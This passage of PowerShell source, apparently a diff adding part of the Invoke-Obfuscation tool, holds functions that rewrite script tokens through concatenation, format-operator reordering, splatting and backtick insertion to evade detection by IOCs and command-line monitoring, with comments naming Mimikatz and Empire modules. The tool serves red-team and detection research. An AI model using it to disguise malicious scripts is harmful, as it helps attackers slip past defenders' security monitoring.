Out-ObfuscatedWithTicks $ScriptString $Token} + 2 {$ScriptString = Out-ObfuscatedCommandTokenLevel2 $ScriptString $Token 1} + 3 {$ScriptString = Out-ObfuscatedCommandTokenLevel2 $ScriptString $Token 2} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for token type $($Token.Type)."; Exit;} + } + } + ElseIf(($Token.Type -eq 'Variable') -AND ($TokenTypeToObfuscate.ToLower() -eq 'variable')) + { + $Counter-- + + # Set valid obfuscation levels for current token type. + $ValidObfuscationLevels = @(0,1) + + # If invalid obfuscation level is passed to this function then default to highest obfuscation level available for current token type. + If($ValidObfuscationLevels -NotContains $ObfuscationLevel) {$ObfuscationLevel = $ValidObfuscationLevels | Sort-Object -Descending | Select-Object -First 1} + + Switch($ObfuscationLevel) + { + 0 {Continue} + 1 {$ScriptString = Out-ObfuscatedVariableTokenLevel1 $ScriptString $Token} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for token type $($Token.Type)."; Exit;} + } + } + ElseIf(($Token.Type -eq 'Type') -AND ($TokenTypeToObfuscate.ToLower() -eq 'type')) + { + $Counter-- + + # Set valid obfuscation levels for current token type. + $ValidObfuscationLevels = @(0,1,2) + + # If invalid obfuscation level is passed to this function then default to highest obfuscation level available for current token type. + If($ValidObfuscationLevels -NotContains $ObfuscationLevel) {$ObfuscationLevel = $ValidObfuscationLevels | Sort-Object -Descending | Select-Object -First 1} + + # The below Type value substrings are part of Types that cannot be direct Type casted, so we will not perform direct Type casting on Types containing these values. + $TypesThatCannotByDirectTypeCasted = @() + $TypesThatCannotByDirectTypeCasted += 'directoryservices.accountmanagement.' + $TypesThatCannotByDirectTypeCasted += 'windows.clipboard' + + Switch($ObfuscationLevel) + { + 0 {Continue} + 1 {$ScriptString = Out-ObfuscatedTypeToken $ScriptString $Token 1} + 2 {$ScriptString = Out-ObfuscatedTypeToken $ScriptString $Token 2} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for token type $($Token.Type)."; Exit;} + } + } + ElseIf(($TokensForInsertingWhitespace -Contains $Token.Type) -AND ($TokenTypeToObfuscate.ToLower() -eq 'randomwhitespace')) + { + $Counter-- + + # Set valid obfuscation levels for current token type. + $ValidObfuscationLevels = @(0,1) + + # If invalid obfuscation level is passed to this function then default to highest obfuscation level available for current token type. + If($ValidObfuscationLevels -NotContains $ObfuscationLevel) {$ObfuscationLevel = $ValidObfuscationLevels | Sort-Object -Descending | Select-Object -First 1} + + Switch($ObfuscationLevel) + { + 0 {Continue} + 1 {$ScriptString = Out-RandomWhitespace $ScriptString $Tokens $i} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for token type $($Token.Type)."; Exit;} + } + } + ElseIf(($Token.Type -eq 'Comment') -AND ($TokenTypeToObfuscate.ToLower() -eq 'comment')) + { + $Counter-- + + # Set valid obfuscation levels for current token type. + $ValidObfuscationLevels = @(0,1) + + # If invalid obfuscation level is passed to this function then default to highest obfuscation level available for current token type. + If($ValidObfuscationLevels -NotContains $ObfuscationLevel) {$ObfuscationLevel = $ValidObfuscationLevels | Sort-Object -Descending | Select-Object -First 1} + + Switch($ObfuscationLevel) + { + 0 {Continue} + 1 {$ScriptString = Out-RemoveComments $ScriptString $Token} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for token type $($Token.Type)."; Exit;} + } + } + } + + Return $ScriptString +} + + +Function Out-ObfuscatedStringTokenLevel1 +{ +<# +.SYNOPSIS + +Obfuscates string token by randomly concatenating the string in-line. + +Invoke-Obfuscation Function: Out-ObfuscatedStringTokenLevel1 +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-StringDelimitedAndConcatenated, Out-StringDelimitedConcatenatedAndReordered (both located in Out-ObfuscatedStringCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-ObfuscatedStringTokenLevel1 obfuscates a given string token and places it back into the provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER Token + +Specifies the token to obfuscate. + +.PARAMETER ObfuscationLevel + +Specifies whether to 1) Concatenate or 2) Reorder the String token value. + +.EXAMPLE + +C:\PS> $ScriptString = "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'String'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-ObfuscatedStringTokenLevel1 $ScriptString $Token 1} +C:\PS> $ScriptString + +Write-Host ('Hello'+' W'+'orl'+'d!') -ForegroundColor Green; Write-Host ('Obfuscation R'+'oc'+'k'+'s'+'!') -ForegroundColor Green + +C:\PS> $ScriptString = "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'String'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-ObfuscatedStringTokenLevel1 $ScriptString $Token 2} +C:\PS> $ScriptString + +Write-Host ("{2}{3}{0}{1}" -f 'Wo','rld!','Hel','lo ') -ForegroundColor Green; Write-Host ("{4}{0}{3}{2}{1}"-f 'bfusca','cks!','Ro','tion ','O') -ForegroundColor Green + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 'String' 1 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [System.Management.Automation.PSToken] + $Token, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateSet(1, 2)] + [Int] + $ObfuscationLevel + ) + + $EncapsulateAsScriptBlockInsteadOfParentheses = $FALSE + + # Extract substring to look for parameter binding values to check against $ParameterValidationAttributesToTreatStringAsScriptblock set in the beginning of this script. + $SubStringLength = 25 + If($Token.Start -lt $SubStringLength) + { + $SubStringLength = $Token.Start + } + $SubString = $ScriptString.SubString($Token.Start-$SubStringLength,$SubStringLength).Replace(' ','').Replace("`t",'').Replace("`n",'') + $SubStringLength = 5 + If($SubString.Length -lt $SubStringLength) + { + $SubStringLength = $SubString.Length + } + $SubString = $SubString.SubString($SubString.Length-$SubStringLength,$SubStringLength) + + # If dealing with ObfuscationLevel -gt 1 (e.g. -f format operator), perform check to see if we're dealing with a string that is part of a Parameter Binding. + If(($ObfuscationLevel -gt 1) -AND ($Token.Start -gt 5) -AND ($SubString.Contains('(') -OR $SubString.Contains(',')) -AND $ScriptString.SubString(0,$Token.Start).Contains('[') -AND $ScriptString.SubString(0,$Token.Start).Contains('(')) + { + # Gather substring preceding the current String token to see if we need to treat the obfuscated string as a scriptblock. + $ParameterBindingName = $ScriptString.SubString(0,$Token.Start) + $ParameterBindingName = $ParameterBindingName.SubString(0,$ParameterBindingName.LastIndexOf('(')) + $ParameterBindingName = $ParameterBindingName.SubString($ParameterBindingName.LastIndexOf('[')+1).Trim() + # Filter out values that are not Parameter Binding due to contain whitespace, some special characters, etc. + If(!$ParameterBindingName.Contains(' ') -AND !$ParameterBindingName.Contains('.') -AND !$ParameterBindingName.Contains(']') -AND !($ParameterBindingName.Length -eq 0)) + { + # If we have a match then set boolean to True so result will be encapsulated with curly braces at the end of this function. + If($ParameterValidationAttributesToTreatStringAsScriptblock -Contains $ParameterBindingName.ToLower()) + { + $EncapsulateAsScriptBlockInsteadOfParentheses = $TRUE + } + } + } + ElseIf(($ObfuscationLevel -gt 1) -AND ($Token.Start -gt 5) -AND $ScriptString.SubString($Token.Start-5,5).Contains('=')) + { + # If dealing with ObfuscationLevel -gt 1 (e.g. -f format operator), perform check to see if we're dealing with a string that is part of a Parameter Binding. + ForEach($Parameter in $ParameterValidationAttributesToTreatStringAsScriptblock) + { + $SubStringLength = $Parameter.Length + + # Add 10 more to $SubStringLength in case there is excess whitespace between the = sign. + $SubStringLength += 10 + + # Shorten substring length in case there is not enough room depending on the location of the token in the $ScriptString. + If($Token.Start -lt $SubStringLength) + { + $SubStringLength = $Token.Start + } + + # Extract substring to compare against $EncapsulateAsScriptBlockInsteadOfParentheses. + $SubString = $ScriptString.SubString($Token.Start-$SubStringLength,$SubStringLength+1).Trim() + + # If we have a match then set boolean to True so result will be encapsulated with curly braces at the end of this function. + If($SubString -Match "$Parameter.*=") + { + $EncapsulateAsScriptBlockInsteadOfParentheses = $TRUE + } + } + } + + # Do nothing if the token has length <= 1 (e.g. Write-Host "", single-character tokens, etc.). + If($Token.Content.Length -le 1) {Return $ScriptString} + + # Do nothing if the token has length <= 3 and $ObfuscationLevel is 2 (reordering). + If(($Token.Content.Length -le 3) -AND $ObfuscationLevel -eq 2) {Return $ScriptString} + + # Do nothing if $Token.Content already contains a { or } to avoid parsing errors when { and } are introduced into substrings. + If($Token.Content.Contains('{') -OR $Token.Content.Contains('}')) {Return $ScriptString} + + # If the Token is 'invoke' then do nothing. This is because .invoke() is treated as a member but ."invoke"() is treated as a string. + If($Token.Content.ToLower() -eq 'invoke') {Return $ScriptString} + + # Set $Token.Content in a separate variable so it can be modified since Content is a ReadOnly property of $Token. + $TokenContent = $Token.Content + + # Tokenizer removes ticks from strings, but we want to keep them. So we will replace the contents of $Token.Content with the manually extracted token data from the original $ScriptString. + $TokenContent = $ScriptString.SubString($Token.Start+1,$Token.Length-2) + + # If a variable is present in a string, more work needs to be done to extract from string. Warning maybe should be thrown either way. + # Must come back and address this after vacation. + # Variable can be displaying or setting: "setting var like $($var='secret') and now displaying $var" + # For now just split on whitespace instead of passing to Out-Concatenated + If($TokenContent.Contains('$') -OR $TokenContent.Contains('`')) + { + $ObfuscatedToken = '' + $Counter = 0 + + # If special use case is met then don't substring the current Token to avoid errors. + # The special cases involve a double-quoted string containing a variable or a string-embedded-command that contains whitespace in it. + # E.g. "string ${var name with whitespace} string" or "string $(gci *whitespace_in_command*) string" + $TokenContentSplit = $TokenContent.Split(' ') + $ContainsVariableSpecialCases = (($TokenContent.Contains('$(') -OR $TokenContent.Contains('${')) -AND ($ScriptString[$Token.Start] -eq '"')) + + If($ContainsVariableSpecialCases) + { + $TokenContentSplit = $TokenContent + } + + ForEach($SubToken in $TokenContentSplit) + { + $Counter++ + + $ObfuscatedSubToken = $SubToken + + # Determine if use case of variable inside of double quotes is present as this will be handled differently below. + $SpecialCaseContainsVariableInDoubleQuotes = (($ObfuscatedSubToken.Contains('$') -OR $ObfuscatedSubToken.Contains('`')) -AND ($ScriptString[$Token.Start] -eq '"')) + + # Since splitting on whitespace removes legitimate whitespace we need to add back whitespace for all but the final subtoken. + If($Counter -lt $TokenContent.Split(' ').Count) + { + $ObfuscatedSubToken = $ObfuscatedSubToken + ' ' + } + + # Concatenate $SubToken if it's long enough to be concatenated. + If(($ObfuscatedSubToken.Length -gt 1) -AND !($SpecialCaseContainsVariableInDoubleQuotes)) + { + # Concatenate each $SubToken via Out-StringDelimitedAndConcatenated so it will handle any replacements for special characters. + # Define -PassThru flag so an invocation is not added to $ObfuscatedSubToken. + $ObfuscatedSubToken = Out-StringDelimitedAndConcatenated $ObfuscatedSubToken -PassThru + + # Evenly trim leading/trailing parentheses. + While($ObfuscatedSubToken.StartsWith('(') -AND $ObfuscatedSubToken.EndsWith(')')) + { + $ObfuscatedSubToken = ($ObfuscatedSubToken.SubString(1,$ObfuscatedSubToken.Length-2)).Trim() + } + } + Else + { + If($SpecialCaseContainsVariableInDoubleQuotes) + { + $ObfuscatedSubToken = '"' + $ObfuscatedSubToken + '"' + } + ElseIf($ObfuscatedSubToken.Contains("'") -OR $ObfuscatedSubToken.Contains('$')) + { + $ObfuscatedSubToken = '"' + $ObfuscatedSubToken + '"' + } + Else + { + $ObfuscatedSubToken = "'" + $ObfuscatedSubToken + "'" + } + } + + # Add obfuscated/trimmed $SubToken back to $ObfuscatedToken if a Replace operation was used. + If($ObfuscatedSubToken -eq $PreObfuscatedSubToken) + { + # Same, so don't encapsulate. And maybe take off trailing whitespace? + } + ElseIf($ObfuscatedSubToken.ToLower().Contains("replace")) + { + $ObfuscatedToken += ( '(' + $ObfuscatedSubToken + ')' + '+' ) + } + Else + { + $ObfuscatedToken += ($ObfuscatedSubToken + '+' ) + } + } + + # Trim extra whitespace and trailing + from $ObfuscatedToken. + $ObfuscatedToken = $ObfuscatedToken.Trim(' + ') + } + Else + { + # For Parameter Binding the value has to either be plain concatenation or must be a scriptblock in which case we will encapsulate with {} instead of (). + # The encapsulation will occur later in the function. At this point we're just setting the boolean variable $EncapsulateAsScriptBlockInsteadOfParentheses. + # Actual error that led to this is: "Attribute argument must be a constant or a script block." + # ALLOWED :: [CmdletBinding(DefaultParameterSetName={"{1}{0}{2}"-f'd','DumpCre','s'})] + # NOT ALLOWED :: [CmdletBinding(DefaultParameterSetName=("{1}{0}{2}"-f'd','DumpCre','s'))] + $SubStringStart = 30 + If($Token.Start -lt $SubStringStart) + { + $SubStringStart = $Token.Start + } + + $SubString = $ScriptString.SubString($Token.Start-$SubStringStart,$SubStringStart).ToLower() + + If($SubString.Contains('defaultparametersetname') -AND $SubString.Contains('=')) + { + $EncapsulateAsScriptBlockInsteadOfParentheses = $TRUE + } + + If(($SubString.Contains('parametersetname') -OR $SubString.Contains('confirmimpact')) -AND !$SubString.Contains('defaultparametersetname') -AND $SubString.Contains('=')) + { + # For strings in ParameterSetName parameter binding (but not DefaultParameterSetName) then we will only obfuscate with tick marks. + # Otherwise we may get errors depending on the version of PowerShell being run. + $ObfuscatedToken = $Token.Content + $TokenForTicks = [System.Management.Automation.PSParser]::Tokenize($ObfuscatedToken,[ref]$null) + $ObfuscatedToken = '"' + (Out-ObfuscatedWithTicks $ObfuscatedToken $TokenForTicks[0]) + '"' + } + Else + { + # User input $ObfuscationLevel (1-2) will choose between concatenating String token value string or reordering it with the -f format operator. + # I am leaving out Out-ObfuscatedStringCommand's option 3 since that may introduce a Type token unnecessarily ([Regex]). + Switch($ObfuscationLevel) + { + 1 {$ObfuscatedToken = Out-StringDelimitedAndConcatenated $TokenContent -PassThru} + 2 {$ObfuscatedToken = Out-StringDelimitedConcatenatedAndReordered $TokenContent -PassThru} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for String Token Obfuscation."; Exit} + } + } + # Evenly trim leading/trailing parentheses. + While($ObfuscatedToken.StartsWith('(') -AND $ObfuscatedToken.EndsWith(')')) + { + $TrimmedObfuscatedToken = ($ObfuscatedToken.SubString(1,$ObfuscatedToken.Length-2)).Trim() + # Check if the parentheses are balanced before permenantly trimming + $Balanced = $True + $Counter = 0 + ForEach($char in $TrimmedObfuscatedToken.ToCharArray()) { + If($char -eq '(') { + $Counter = $Counter + 1 + } + ElseIf($char -eq ')') { + If($Counter -eq 0) { + $Balanced = $False + break + } + Else { + $Counter = $Counter - 1 + } + } + } + # If parantheses are balanced, we can safely trim the parentheses + If($Balanced -and $Counter -eq 0) { + $ObfuscatedToken = $TrimmedObfuscatedToken + } + # If parentheses cannot be trimmed, break out of loop + Else { + break + } + } + } + + # Encapsulate concatenated string with parentheses to avoid garbled string in scenarios like Write-* methods. + If($ObfuscatedToken.Length -ne ($TokenContent.Length + 2)) + { + # For Parameter Binding the value has to either be plain concatenation or must be a scriptblock in which case we will encapsulate with {} instead of (). + # Actual error that led to this is: "Attribute argument must be a constant or a script block." + # ALLOWED :: [CmdletBinding(DefaultParameterSetName={"{1}{0}{2}"-f'd','DumpCre','s'})] + # NOT ALLOWED :: [CmdletBinding(DefaultParameterSetName=("{1}{0}{2}"-f'd','DumpCre','s'))] + If($EncapsulateAsScriptBlockInsteadOfParentheses) + { + $ObfuscatedToken = '{' + $ObfuscatedToken + '}' + } + ElseIf(($ObfuscatedToken.Length -eq $TokenContent.Length + 5) -AND $ObfuscatedToken.SubString(2,$ObfuscatedToken.Length-4) -eq ($TokenContent + ' ')) + { + If($ContainsVariableSpecialCases) { + $ObfuscatedToken = '"' + $TokenContent + '"' + } + Else { + $ObfuscatedToken = $TokenContent + } + } + ElseIf($ObfuscatedToken.StartsWith('"') -AND $ObfuscatedToken.EndsWith('"') -AND !$ObfuscatedToken.Contains('+') -AND !$ObfuscatedToken.Contains('-f')) + { + # No encapsulation is needed for string obfuscation that is only double quotes and tick marks for ParameterSetName (and not DefaultParameterSetName). + $ObfuscatedToken = $ObfuscatedToken + } + ElseIf($ObfuscatedToken.Length -ne $TokenContent.Length + 2) + { + $ObfuscatedToken = '(' + $ObfuscatedToken + ')' + } + } + + # Remove redundant blank string concatenations introduced by special use case of $ inside double quotes. + If($ObfuscatedToken.EndsWith("+''") -OR $ObfuscatedToken.EndsWith('+""')) + { + $ObfuscatedToken = $ObfuscatedToken.SubString(0,$ObfuscatedToken.Length-3) + } + + # Handle dangling ticks from string concatenation where a substring ends in a tick. Move this tick to the beginning of the following substring. + If($ObfuscatedToken.Contains('`')) + { + If($ObfuscatedToken.Contains('`"+"')) + { + $ObfuscatedToken = $ObfuscatedToken.Replace('`"+"','"+"`') + } + If($ObfuscatedToken.Contains("``'+'")) + { + $ObfuscatedToken = $ObfuscatedToken.Replace("``'+'","'+'``") + } + } + + # Add the obfuscated token back to $ScriptString. + # If string is preceded by a . or :: and followed by ( then it is a Member token encapsulated by quotes and now treated as a string. + # We must add a .Invoke to the concatenated Member string to avoid syntax errors. + If((($Token.Start -gt 0) -AND ($ScriptString.SubString($Token.Start-1,1) -eq '.')) -OR (($Token.Start -gt 1) -AND ($ScriptString.SubString($Token.Start-2,2) -eq '::')) -AND ($ScriptString.SubString($Token.Start+$Token.Length,1) -eq '(')) + { + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + '.Invoke' + $ScriptString.SubString($Token.Start+$Token.Length) + } + Else + { + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length) + } + + Return $ScriptString +} + + +Function Out-ObfuscatedCommandTokenLevel2 +{ +<# +.SYNOPSIS + +Obfuscates command token by converting it to a concatenated string and using splatting to invoke the command. + +Invoke-Obfuscation Function: Out-ObfuscatedCommandTokenLevel2 +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-StringDelimitedAndConcatenated, Out-StringDelimitedConcatenatedAndReordered (both located in Out-ObfuscatedStringCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-ObfuscatedCommandTokenLevel2 obfuscates a given command token and places it back into the provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER Token + +Specifies the token to obfuscate. + +.PARAMETER ObfuscationLevel + +Specifies whether to 1) Concatenate or 2) Reorder the splatted Command token value. + +.EXAMPLE + +C:\PS> $ScriptString = "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'Command'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-ObfuscatedCommandTokenLevel2 $ScriptString $Token 1} +C:\PS> $ScriptString + +&('Wr'+'itE-'+'HOSt') 'Hello World!' -ForegroundColor Green; .('WrITe-Ho'+'s'+'t') 'Obfuscation Rocks!' -ForegroundColor Green + +C:\PS> $ScriptString = "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'Command'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-ObfuscatedCommandTokenLevel2 $ScriptString $Token 1} +C:\PS> $ScriptString + +&("{1}{0}{2}"-f'h','wRiTE-','ost') 'Hello World!' -ForegroundColor Green; .("{2}{1}{0}" -f'ost','-h','wrIte') 'Obfuscation Rocks!' -ForegroundColor Green + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 'Command' 2 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [System.Management.Automation.PSToken] + $Token, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateSet(1, 2)] + [Int] + $ObfuscationLevel + ) + if($Token.Type -ne 'Command') { + $ScriptString + } + # Set $Token.Content in a separate variable so it can be modified since Content is a ReadOnly property of $Token. + $TokenContent = $Token.Content + + # If ticks are already present in current Token then remove so they will not interfere with string concatenation. + If($TokenContent.Contains('`')) {$TokenContent = $TokenContent.Replace('`','')} + + # Convert $Token to character array for easier manipulation. + $TokenArray = [Char[]]$TokenContent + + # Randomly upper- and lower-case characters in current token. + $ObfuscatedToken = Out-RandomCase $TokenArray + + # User input $ObfuscationLevel (1-2) will choose between concatenating Command token value string (after trimming square brackets) or reordering it with the -F format operator. + # I am leaving out Out-ObfuscatedStringCommand's option 3 since that may introduce a Type token unnecessarily ([Regex]). + Switch($ObfuscationLevel) + { + 1 {$ObfuscatedToken = Out-StringDelimitedAndConcatenated $TokenContent -PassThru} + 2 {$ObfuscatedToken = Out-StringDelimitedConcatenatedAndReordered $TokenContent -PassThru} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for Command Token Obfuscation."; Exit} + } + + # Evenly trim leading/trailing parentheses. + While($ObfuscatedToken.StartsWith('(') -AND $ObfuscatedToken.EndsWith(')')) + { + $ObfuscatedToken = ($ObfuscatedToken.SubString(1,$ObfuscatedToken.Length-2)).Trim() + } + + # Encapsulate $ObfuscatedToken with parentheses. + $ObfuscatedToken = '(' + $ObfuscatedToken + ')' + + # Check if the command is already prepended with an invocation operator. If it is then do not add an invocation operator. + # E.g. & powershell -Sta -Command $cmd + # E.g. https://github.com/adaptivethreat/Empire/blob/master/data/module_source/situational_awareness/host/Invoke-WinEnum.ps1#L139 + $SubStringLength = 15 + If($Token.Start -lt $SubStringLength) + { + $SubStringLength = $Token.Start + } + + # Extract substring leading up to the current token. + $SubString = $ScriptString.SubString($Token.Start-$SubStringLength,$SubStringLength).Trim() + + # Set $InvokeOperatorAlreadyPresent boolean variable to TRUE if the substring ends with invocation operators . or & + $InvokeOperatorAlreadyPresent = $FALSE + If($SubString.EndsWith('.') -OR $SubString.EndsWith('&')) + { + $InvokeOperatorAlreadyPresent = $TRUE + } + + If(!$InvokeOperatorAlreadyPresent) + { + # Randomly choose between the & and . Invoke Operators. + # In certain large scripts where more than one parameter are being passed into a custom function + # (like Add-SignedIntAsUnsigned in Invoke-Mimikatz.ps1) then using . will cause errors but & will not. + # For now we will default to only & if $ScriptString.Length -gt 10000 + If($ScriptString.Length -gt 10000) {$RandomInvokeOperator = '&'} + Else {$RandomInvokeOperator = Get-Random -InputObject @('&','.')} + + # Add invoke operator (and potentially whitespace) to complete splatting command. + $ObfuscatedToken = $RandomInvokeOperator + $ObfuscatedToken + } + + # Add the obfuscated token back to $ScriptString. + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length) + + Return $ScriptString +} + + +Function Out-ObfuscatedWithTicks +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Obfuscates any token by randomizing its case and randomly adding ticks. It takes PowerShell special characters into account so you will get `N instead of `n, `T instead of `t, etc. + +Invoke-Obfuscation Function: Out-ObfuscatedWithTicks +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-ObfuscatedWithTicks obfuscates given input as a helper function to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER Token + +Specifies the token to obfuscate. + +.EXAMPLE + +C:\PS> $ScriptString = "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'Command'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-ObfuscatedWithTicks $ScriptString $Token} +C:\PS> $ScriptString + +WrI`Te-Ho`sT 'Hello World!' -ForegroundColor Green; WrIte-`hO`S`T 'Obfuscation Rocks!' -ForegroundColor Green + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 'Command' 2 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [System.Management.Automation.PSToken] + $Token + ) + + # If ticks are already present in current Token then Return $ScriptString as is. + If($Token.Content.Contains('`')) + { + Return $ScriptString + } + + # The Parameter Attributes in $MemberTokensToOnlyRandomCase (defined at beginning of script) cannot be obfuscated like other Member Tokens + # For these tokens we will only randomize the case and then return as is. + # Source: https://social.technet.microsoft.com/wiki/contents/articles/15994.powershell-advanced-function-parameter-attributes.aspx + If($MemberTokensToOnlyRandomCase -Contains $Token.Content.ToLower()) + { + $ObfuscatedToken = Out-RandomCase $Token.Content + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length) + Return $ScriptString + } + + # Set boolean variable to encapsulate member with double quotes if it is setting a value like below. + # E.g. New-Object PSObject -Property @{ "P`AY`LOaDS" = $Payload } + $EncapsulateWithDoubleQuotes = $FALSE + If($ScriptString.SubString(0,$Token.Start).Contains('@{') -AND ($ScriptString.SubString($Token.Start+$Token.Length).Trim()[0] -eq '=')) + { + $EncapsulateWithDoubleQuotes = $TRUE + } + + # Convert $Token to character array for easier manipulation. + $TokenArray = [Char[]]$Token.Content + + # Randomly upper- and lower-case characters in current token. + $TokenArray = Out-RandomCase $TokenArray + + # Choose a random percentage of characters to obfuscate with ticks in current token. + $ObfuscationPercent = Get-Random -Minimum 15 -Maximum 30 + + # Convert $ObfuscationPercent to the exact number of characters to obfuscate in the current token. + $NumberOfCharsToObfuscate = [int]($Token.Length*($ObfuscationPercent/100)) + + # Guarantee that at least one character will be obfuscated. + If($NumberOfCharsToObfuscate -eq 0) {$NumberOfCharsToObfuscate = 1} + + # Select random character indexes to obfuscate with ticks (excluding first and last character in current token). + $CharIndexesToObfuscate = (Get-Random -InputObject (1..($TokenArray.Length-2)) -Count $NumberOfCharsToObfuscate) + + # Special characters in PowerShell must be upper-cased before adding a tick before the character. + $SpecialCharacters = @('a','b','f','n','r','t','v') + + # Remove the possibility of a single tick being placed only before the token string. + # This would leave the string value completely intact, thus defeating the purpose of the tick obfuscation. + $ObfuscatedToken = '' #$NULL + $ObfuscatedToken += $TokenArray[0] + For($i=1; $i -le $TokenArray.Length-1; $i++) + { + $CurrentChar = $TokenArray[$i] + If($CharIndexesToObfuscate -Contains $i) + { + # Set current character to upper case in case it is in $SpecialCharacters (i.e., `N instead of `n so it's not treated as a newline special character) + If($SpecialCharacters -Contains $CurrentChar) {$CurrentChar = ([string]$CurrentChar).ToUpper()} + + # Skip adding a tick if character is a special character where case does not apply. + If($CurrentChar -eq '0') {$ObfuscatedToken 